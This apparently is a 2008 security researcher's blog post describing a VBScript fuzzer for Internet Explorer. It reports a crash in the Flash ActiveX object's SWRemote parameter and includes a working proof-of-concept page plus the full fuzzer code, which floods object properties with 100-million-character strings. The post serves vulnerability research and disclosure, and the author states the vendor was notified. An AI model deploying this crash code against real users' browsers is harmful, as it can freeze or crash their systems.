VBScript Fuzzing.
Publicated on :
1207855210
I wrote a small VBscript fuzzer for Internet Explorer, mainly to fuzz objects. The reason is that regular Javascript is somehow protected from overflowing the heap in loops. Internet Explorer sees a huge loop and tries to kill it, or asks you to kill it. I noticed that with VBscript this isn't the case, it let us run code until it runs out of memory or overflows the heap, and just gives a warning or crashes after it overflowed. Which is neat, because it's more reliable.
Fuzzing the Flash object.
I found out that it's possible to overflow the SWRemote object inside Flash with a very long string generated in VBscript. In my test case it runs for about 30 seconds before crashing and raising the exception, probably a heap corruption. When trying to kill it, it can result in a full system freeze. In two cases I had to reboot the system because it ran out of all memory.
The vulnerable object:
<param name="swRemote" value = "">
Which can be set in IE with SWRemote=long_string
<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='foo'>
<param name="src" value="foo.swf">
</object>
<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='bar'>
<param name="src" value="foo.swf">
</object>
<script type='text/vbscript'>
long=String(100000000,"X")
foo.SWRemote=long
bar.SWRemote=long
</script>
In figure 1 I show a live trace while Internet explorer was executing the code. It shows that it raises an exception because of too much memory allocation.
Figure 1.
The VBScript Fuzzer.
A live demo can be found here:
http://0x000000.com/lab/swf/swf.php
<html>
<body>
<h1>Flash Object VBFuzzer</h1>
<hr />
<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='foo'>
<param name="src" value="foo.swf">
<param name="playing" value="0">
</object>
<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='bar'>
<param name="src" value="foo.swf">
<param name="playing" value="0">
</object>
<hr />
<script type="text/vbscript">
' ------------------------------
' by Ronald van den Heetkamp
' SWRemote crashes MSIE7
' full system freeze on kill?
' ------------------------------
'
Dim DataArray(195)
DataArray(0) = "nextSibling"
DataArray(1) = "onresizeend"
DataArray(2) = "onrowenter"
DataArray(3) = "ariaPosinset"
DataArray(4) = "childNodes"
DataArray(5) = "ondragleave"
DataArray(6) = "canHaveHTML"
DataArray(7) = "onbeforepaste"
DataArray(8) = "ondragover"
DataArray(9) = "ariaSelected"
DataArray(10) = "onbeforecopy"
DataArray(11) = "ariaHidden"
DataArray(12) = "onpage"
DataArray(13) = "recordNumber"
DataArray(14) = "previousSibling"
DataArray(15) = "nodeName"
DataArray(16) = "onbeforeactivate"
DataArray(17) = "accessKey"
DataArray(18) = "currentStyle"
DataArray(19) = "ariaChecked"
DataArray(20) = "scrollLeft"
DataArray(21) = "onbeforeeditfocus"
DataArray(22) = "oncontrolselect"
DataArray(23) = "onblur"
DataArray(24) = "hideFocus"
DataArray(25) = "clientHeight"
DataArray(26) = "style"
DataArray(27) = "onbeforedeactivate"
DataArray(28) = "dir"
DataArray(29) = "onkeydown"
DataArray(30) = "nodeType"
DataArray(31) = "ondragstart"
DataArray(32) = "onscroll"
DataArray(33) = "onpropertychange"
DataArray(34) = "ondragenter"
DataArray(35) = "id"
DataArray(36) = "onrowsinserted"
DataArray(37) = "scopeName"
DataArray(38) = "lang"
DataArray(39) = "ariaSetsize"
DataArray(40) = "onmouseup"
DataArray(41) = "oncontextmenu"
DataArray(42) = "language"
DataArray(43) = "ariaLevel"
DataArray(44) = "ariaReadonly"
DataArray(45) = "scrollTop"
DataArray(46) = "offsetWidth"
DataArray(47) = "onbeforeupdate"
DataArray(48) = "onreadystatechange"
DataArray(49) = "onmouseenter"
DataArray(50) = "filters"
DataArray(51) = "onresize"
DataArray(52) = "isContentEditable"
DataArray(53) = "oncopy"
DataArray(54) = "onselectstart"
DataArray(55) = "scrollHeight"
DataArray(56) = "onmove"
DataArray(57) = "ondragend"
DataArray(58) = "onrowexit"
DataArray(59) = "lastChild"
DataArray(60) = "onactivate"
DataArray(61) = "canHaveChildren"
DataArray(62) = "onfocus"
DataArray(63) = "onfocusin"
DataArray(64) = "isMultiLine"
DataArray(65) = "onmouseover"
DataArray(66) = "ariaHaspopup"
DataArray(67) = "ariaMultiselect"
DataArray(68) = "oncut"
DataArray(69) = "parentNode"
DataArray(70) = "ariaSecret"
DataArray(71) = "tagName"
DataArray(72) = "className"
DataArray(73) = "onmousemove"
DataArray(74) = "title"
DataArray(75) = "role"
DataArray(76) = "behaviorUrns"
DataArray(77) = "ariaInvalid"
DataArray(78) = "onfocusout"
DataArray(79) = "onfilterchange"
DataArray(80) = "disabled"
DataArray(81) = "parentTextEdit"
DataArray(82) = "ariaValuenow"
DataArray(83) = "ownerDocument"
DataArray(84) = "offsetParent"
DataArray(85) = "ondrop"
DataArray(86) = "ondblclick"
DataArray(87) = "tabIndex"
DataArray(88) = "onkeypress"
DataArray(89) = "onlosecapture"
DataArray(90) = "innerText"
DataArray(91) = "children"
DataArray(92) = "parentElement"
DataArray(93) = "ondeactivate"
DataArray(94) = "isDisabled"
DataArray(95) = "ondatasetchanged"
DataArray(96) = "ondataavailable"
DataArray(97) = "onafterupdate"
DataArray(98) = "nodeValue"
DataArray(99) = "onmousewheel"
DataArray(100) = "onkeyup"
DataArray(101) = "readyState"
DataArray(102) = "offsetTop"
DataArray(103) = "onmovestart"
DataArray(104) = "onmouseout"
DataArray(105) = "onrowsdelete"
DataArray(106) = "onmoveend"
DataArray(107) = "ariaExpanded"
DataArray(108) = "contentEditable"
DataArray(109) = "document"
DataArray(110) = "firstChild"
DataArray(111) = "sourceIndex"
DataArray(112) = "outerText"
DataArray(113) = "isTextEdit"
DataArray(114) = "oncellchange"
DataArray(115) = "runtimeStyle"
DataArray(116) = "scrollWidth"
DataArray(117) = "onlayoutcomplete"
DataArray(118) = "onhelp"
DataArray(119) = "attributes"
DataArray(120) = "offsetHeight"
DataArray(121) = "onerrorupdate"
DataArray(122) = "ariaBusy"
DataArray(123) = "onmousedown"
DataArray(124) = "clientTop"
DataArray(125) = "clientWidth"
DataArray(126) = "ariaRequired"
DataArray(127) = "onpaste"
DataArray(128) = "tagUrn"
DataArray(129) = "onmouseleave"
DataArray(130) = "ariaDisabled"
DataArray(131) = "ariaPressed"
DataArray(132) = "onclick"
DataArray(133) = "outerHTML"
DataArray(134) = "ondrag"
DataArray(135) = "onresizestart"
DataArray(136) = "ondatasetcomplete"
DataArray(137) = "clientLeft"
DataArray(138) = "all"
DataArray(139) = "onbeforecut"
DataArray(140) = "innerHTML"
DataArray(141) = "offsetLeft"
DataArray(142) = "vspace"
DataArray(143) = "height"
DataArray(144) = "border"
DataArray(145) = "altHtml"
DataArray(146) = "alt"
DataArray(147) = "codeBase"
DataArray(148) = "type"
DataArray(149) = "codeType"
DataArray(150) = "useMap"
DataArray(151) = "standby"
DataArray(152) = "width"
DataArray(153) = "dataSrc"
DataArray(154) = "dataFld"
DataArray(155) = "dataFormatAs"
DataArray(156) = "declare"
DataArray(157) = "name"
DataArray(158) = "form"
DataArray(159) = "archive"
DataArray(160) = "onerror"
DataArray(161) = "contentDocument"
DataArray(162) = "code"
DataArray(163) = "align"
DataArray(164) = "BaseHref"
DataArray(165) = "hspace"
DataArray(166) = "ReadyState"
DataArray(167) = "TotalFrames"
DataArray(168) = "Playing"
DataArray(169) = "Quality"
DataArray(170) = "ScaleMode"
DataArray(171) = "AlignMode"
DataArray(172) = "BackgroundColor"
DataArray(173) = "Loop"
DataArray(174) = "Movie"
DataArray(175) = "FrameNum"
DataArray(176) = "WMode"
DataArray(177) = "SAlign"
DataArray(178) = "Menu"
DataArray(179) = "Base"
DataArray(180) = "Scale"
DataArray(181) = "DeviceFont"
DataArray(182) = "EmbedMovie"
DataArray(183) = "BGColor"
DataArray(184) = "Quality2"
DataArray(185) = "SWRemote"
DataArray(186) = "FlashVars"
DataArray(187) = "AllowScriptAccess"
DataArray(188) = "MovieData"
DataArray(189) = "InlineData"
DataArray(190) = "SeamlessTabbing"
DataArray(191) = "Profile"
DataArray(192) = "ProfileAddress"
DataArray(193) = "ProfilePort"
DataArray(194) = "AllowNetworking"
DataArray(195) = "AllowFullScreen"
'String overloader
'-----------------
function overload(n)
overload = String(100000000,"1")
n = overload
end function
'The fuzz loop
'-------------
For count = 147 to 195
document.write("<br /><input type=button onclick=overload('foo." & DataArray(count) & "') overload('bar." & DataArray(count) & "') value=Fuzz!> " & DataArray(count))
Next
</script>
</body>
</html>
Conclusion.
It seems that VBscript is a very reliable way of controlling the heap than regular Javascript c.q. JScript. Microsoft was notified timely about the issue.